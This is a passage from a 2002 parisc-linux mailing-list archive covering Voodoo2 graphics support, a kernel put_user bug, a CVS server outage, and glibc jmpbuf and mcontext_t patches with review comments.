	<20020818044613.0969E4829@dsl2.external.hp.com>
	<1029666136.15858.3.camel@irongate.swansea.linux.org.uk> 
	<3D644497.7090709@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621638 12817 80.91.229.3 (22 Nov 2014 02:00:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 22 14:59:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B397483A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Aug 2002 14:59:18 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g7MIGv72003410;
	Thu, 22 Aug 2002 19:16:58 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g7MIGsvc003408;
	Thu, 22 Aug 2002 19:16:54 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3D644497.7090709@charter.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15872

On Thu, 2002-08-22 at 02:55, B. Douglas Hilton wrote:
> I used to have a V2 running in Linux several years ago, before
> the Banshee, before the Geforce. It really did kick butt and
> Quake and Quake2 were super nifty with it. I had my own version
> of Mesa compiled with Voodoo2 support and was the envy of my
> Linux buddies :-)

You'll need to rebuild glide2 and get it going on the box first, so that
is actually a good starting point anyway. 

> What do I do, just use the jumper cable to link the
> Visualize-EG to the voodoo2, and start up X? Obviously
> I will need the glide libs, but will I also need /dev/tdfx?
> Can the Voodoo2 tdfx module be compiled for a 2.4.19-pa3 kernel?

You can do that, or you can run dual head

> What about console switching? If X is running on the Voodoo2,
> and I hit Alt-F2, will it switch back to the Visualize-EG like
> it should?

It does on x86 ... There is also sstfb which is a frame buffer/console
text driver for the voodoo1/2. That might need some endianisation. I'm
wondering if a USB card and a voodoo2 can turn even an A180 into a
desktop ;)



From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] upgrade evms-1.1.0 -> Kernel at blkpg.c (need help)
Date: Thu, 22 Aug 2002 10:25:29 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <3D3816EF000058D4@ocpmta4.be.tiscali.com>
References: <20020821162256.G29958@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621638 12821 80.91.229.3 (22 Nov 2014 02:00:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 22 15:15:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98A78483A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Aug 2002 15:15:10 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 22 Aug 2002 10:25:29 +0200
In-Reply-To: <20020821162256.G29958@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15873

>
>
>On Wed, Aug 21, 2002 at 05:14:28PM +0200, jsoe0708@tiscali.be wrote:
>> After this upgarde, all evms tools failled and I got folowing kernel message
>> at the console:
>> kernel BUG at blkpg.c:252!                                       
>> evms: ldev_mgr: error(-28): creating logical disk for device(8,0).   

> 
>> 
>> at line 250 of /drivers/block/blkpg.c I read:
>> ...
>>    return put_user(uulval << 9, (u64 *)arg);
>> ...
>
>Aw, crap.  It now seems to be `legal' to put_user a 64-bit argument on a
>32-bit system.  Someone needs to fix this in include/asm-parisc/uaccess.h
>
Thanks willy,

I have a look but definitely asm is not for me (sorry).
I will so wait the fix.

Joel




From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs.parisc-linux.org
Date: Thu, 22 Aug 2002 10:54:54 -0700 (PDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0208221053060.13559-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621638 12826 80.91.229.3 (22 Nov 2014 02:00:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 22 15:25:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 55F28483A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Aug 2002 15:25:38 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id A4A467BC50
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Aug 2002 10:54:54 -0700 (PDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15874

is it just me, or is cvs.parisc-linux.org down?  I get 

# cvs -q update
cvs [update aborted]: connect to cvs.parisc-linux.org(192.25.206.7):2401 
failed: No route to host
# ping cvs.parisc-linux.org
PING cvs.parisc-linux.org (192.25.206.7): 56 data bytes
^C
--- cvs.parisc-linux.org ping statistics ---
5 packets transmitted, 0 packets received, 100% packet loss



-- 
The more I want to get something done, the less I call it work.
		-- Richard Bach, "Illusions"



From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs.parisc-linux.org
Date: Thu, 22 Aug 2002 15:28:24 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20020822212825.F09D037F2E@carmen.fc.hp.com>
References: <Pine.LNX.4.44.0208221053060.13559-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621639 12829 80.91.229.3 (22 Nov 2014 02:00:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 22 15:28:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B505483A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Aug 2002 15:28:26 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel9.hp.com (Postfix) with ESMTP
	id BDAE1E00CDB; Thu, 22 Aug 2002 17:28:25 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 7A91737E75; Thu, 22 Aug 2002 15:28:25 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 6E7C94081; Thu, 22 Aug 2002 15:28:25 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id F09D037F2E; Thu, 22 Aug 2002 15:28:24 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Thu, 22 Aug 2002 10:54:54 PDT." <Pine.LNX.4.44.0208221053060.13559-100000@garibaldi.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15875

Jeremy Drake writes...

> is it just me, or is cvs.parisc-linux.org down?  I get 

All the parisc-linux.org services were down due to a router problem. It's 
fixed now(that's how your mail went out).

Thanks,

-- 
Matt Taggart        Linux R&D
taggart@fc.hp.com   HP Linux Systems Division




From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs.parisc-linux.org
Date: Thu, 22 Aug 2002 22:28:36 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20020822222836.Y29958@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.44.0208221053060.13559-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621639 12830 80.91.229.3 (22 Nov 2014 02:00:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 22 15:28:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83109483A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Aug 2002 15:28:38 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17hzVN-0003Wi-00; Thu, 22 Aug 2002 22:28:37 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.44.0208221053060.13559-100000@garibaldi.apptechsys.com>; from jeremyd@apptechsys.com on Thu, Aug 22, 2002 at 10:54:54AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15876

On Thu, Aug 22, 2002 at 10:54:54AM -0700, Jeremy Drake wrote:
> is it just me, or is cvs.parisc-linux.org down?  I get 

we had a twelve hour outage caused by a glitch on hp's network.  in these
circumstance, since lists.p-l.org and cvs.p-l.org are the same machine,
complaining on the mailing lists gets nowhere ;-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo2 PCI as XFree86 2D board on HP9000 C200
Date: Thu, 22 Aug 2002 19:32:58 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20020822233258.GA30772@systemhalted>
References: <3D5E0430.2000407@charter.net> <20020818044613.0969E4829@dsl2.external.hp.com> <1029666136.15858.3.camel@irongate.swansea.linux.org.uk> <3D644497.7090709@charter.net> <1030040213.3090.39.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621639 12833 80.91.229.3 (22 Nov 2014 02:00:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:39 +0000 (UTC)
Cc: "B. Douglas Hilton" <bdhilton@charter.net>,
	parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 22 17:35:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26F04483A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Aug 2002 17:35:55 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17i1Ri-00080q-00; Thu, 22 Aug 2002 19:32:58 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"B. Douglas Hilton" <bdhilton@charter.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1030040213.3090.39.camel@irongate.swansea.linux.org.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (14% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15877

> 
> It does on x86 ... There is also sstfb which is a frame buffer/console
> text driver for the voodoo1/2. That might need some endianisation. I'm
> wondering if a USB card and a voodoo2 can turn even an A180 into a
> desktop ;)
> 

I hope to get a PCI Radeon 7000 this weekend to turn a C3K into
a _killer_ workstation ;)

c.


From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RFC - glibc - patch reivew - 64->32
Date: Fri, 23 Aug 2002 09:16:35 -0400
Lines: 125
Approved: news@gmane.org
Message-ID: <20020823131634.GA3229@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="tThc/1wpZn/ma/RB"
X-Trace: ger.gmane.org 1416621640 12835 80.91.229.3 (22 Nov 2014 02:00:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 07:18:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43C44482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 07:18:49 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17iEIl-0000sM-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 09:16:35 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15878

--tThc/1wpZn/ma/RB
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

pa,

I've been going through some of the glibc issues that we
have and trying to fix them... or put in a large enough shoe
-horn that the solution fits.

The following are two .dpatch's that I'd like to send to
gotom to get put in for -15 or -16 depending on how much
testing I get done.

The first .dpatch has to do with our jmpbuf implementation,
and the fact that division calculation is not always 
correct. I _think_ this is a solution, but since I'm away
this weekend, I challenge someone to put together a jmpbuf
test that tries to break this. I've been told that anything
using libst is prone to breakage on PA without some ugly
hacks (e.g. lurker).

The second .dpatch fixes our mcontext_t problem. I don't 
know what was going on with out rather wonky definition, but 
I'm probably sure it was just bitrot. I've specified that
a signal context _is_ just a machine context. Kernel and 
glibc are now in sync.

This brings up another issue! When passing the sigcontext
back from a 64-bit kernel, the kernel passes back 64-bit
values and the mcontext is rather useless to the signal
handler. This has _always_ been broken and has never worked
properly. I'm working on adding some rather ugly "#ifdef __LP64__"
code to arch/parisc/signal.c to have it translate the values
into a sigcontext32 that I have defined in sys32.h.
There are a few other examples in signal.c that already do
some rather ugly conversion :)

Suggested solutions:
- Widen sigcontext
- Add conversion code to signal handling path

I would rather do the later... since it doesn't change 
the way we do business across the board.

Ideas and input welcome and appreciated!

c.


--tThc/1wpZn/ma/RB
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="glibc22-hppa-jmpbuf.dpatch"

#! /bin/sh -e

# DP: PA-RISC jmpbuf changes.

if [ $# -ne 2 ]; then
    echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
    exit 1
fi
case "$1" in
    -patch) patch -d "$2" -f --no-backup-if-mismatch -p1 < $0;;
    -unpatch) patch -d "$2" -f --no-backup-if-mismatch -R -p1 < $0;;
    *)
        echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
        exit 1
esac
exit 0

diff -urN glibc-2.2.5/sysdeps/hppa/bits/setjmp.h glibc-2.2.5/sysdeps/hppa/bits/setjmp.h
--- glibc-2.2.5/sysdeps/hppa/bits/setjmp.h	2002-08-08 14:03:52.000000000 -0400
+++ glibc-2.2.5/sysdeps/hppa/bits/setjmp.h	2002-08-08 14:06:04.000000000 -0400
@@ -32,7 +32,7 @@
 #endif
 
 #ifndef	_ASM
-typedef double __jmp_buf[21];
+typedef int __jmp_buf[21] __attribute__ ((aligned (8)));
 #endif
 
 /* Test if longjmp to JMPBUF would unwind the frame containing a local

--tThc/1wpZn/ma/RB
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="glibc22-hppa-mcontext.dpatch"

#! /bin/sh -e

# DP: Makes mcontext_t a typedef to sigcontext on hppa.

if [ $# -ne 2 ]; then
    echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
    exit 1
fi
case "$1" in
    -patch) patch -d "$2" -f --no-backup-if-mismatch -p1 < $0;;
    -unpatch) patch -d "$2" -f --no-backup-if-mismatch -R -p1 < $0;;
    *)
	echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
	exit 1
esac
exit 0

# append the patch here and adjust the -p? flag in the patch calls.
--- glibc-2.2.5/sysdeps/unix/sysv/linux/hppa/sys/ucontext.h	2002-08-20 20:50:17.000000000 -0400
+++ glibc-2.2.5/sysdeps/unix/sysv/linux/hppa/sys/ucontext.h	2002-08-20 20:49:01.000000000 -0400
@@ -52,11 +52,7 @@
   } fpregset_t;
 
 /* Context to describe whole processor state.  */
-typedef struct
-  {
-    gregset_t gregs;
-    fpregset_t fpregs;
-  } mcontext_t;
+typedef struct sigcontext mcontext_t;
 
 /* Userlevel context.  */
 typedef struct ucontext


--tThc/1wpZn/ma/RB--


From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RFC - glibc - patch reivew - 64->32
Date: Fri, 23 Aug 2002 08:36:00 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20020823153600.GS8214@tausq.org>
References: <20020823131634.GA3229@systemhalted>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621640 12837 80.91.229.3 (22 Nov 2014 02:00:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:40 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 09:32:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61FE6482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 09:32:56 -0600 (MDT)
Original-Received: (qmail 22182 invoked from network); 23 Aug 2002 15:32:55 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <carlos@baldric.uwo.ca>; 23 Aug 2002 15:32:55 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 5EBAACE05D; Fri, 23 Aug 2002 08:36:00 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020823131634.GA3229@systemhalted>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15879

>  #ifndef	_ASM
> -typedef double __jmp_buf[21];
> +typedef int __jmp_buf[21] __attribute__ ((aligned (8)));
>  #endif

this should now be
typedef int __jmp_buf[42] __attribute__ ((aligned (8)));
(sizeof(double) == 2 * sizeof(int))

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RFC - glibc - patch reivew - 64->32
Date: Fri, 23 Aug 2002 12:14:32 -0400
Lines: 19
Approved: news@gmane.org
